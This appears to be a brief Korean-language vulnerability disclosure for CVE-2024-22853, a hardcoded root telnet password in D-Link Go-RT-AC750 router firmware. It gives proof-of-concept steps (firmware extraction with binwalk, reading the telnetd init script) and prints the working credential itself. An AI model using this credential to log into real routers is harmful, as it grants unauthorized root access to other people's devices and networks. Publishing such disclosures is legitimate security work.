CVE-2024-22853

D-LINK Go-RT-AC750 GORTAC750_A1_FW_v101b03에는 Alphanetworks 계정에 대한 하드코딩된 비밀번호가 있어, 원격 공격자가 텔넷 세션을 통해 루트 액세스 권한을 얻을 수 있습니다.

PoC

https://www.dlink.com/se/sv/products/go-rt-ac750-wireless-ac750-dual-band-easy-router?revision=deu_reva#downloads

binwalk GORTAC750_A1_FW_v101b03.bin -e

cat './go-rt-ac750_fw_reva_1-01b03_eu_multi_20141017/_GORTAC750_A1_FW_v101b03.bin.extracted/squashfs-root/etc/init0.d/S80telnetd.sh'

하드코딩된 자격 증명:

Alphanetworks:wrgac18_dlob.hans_ac750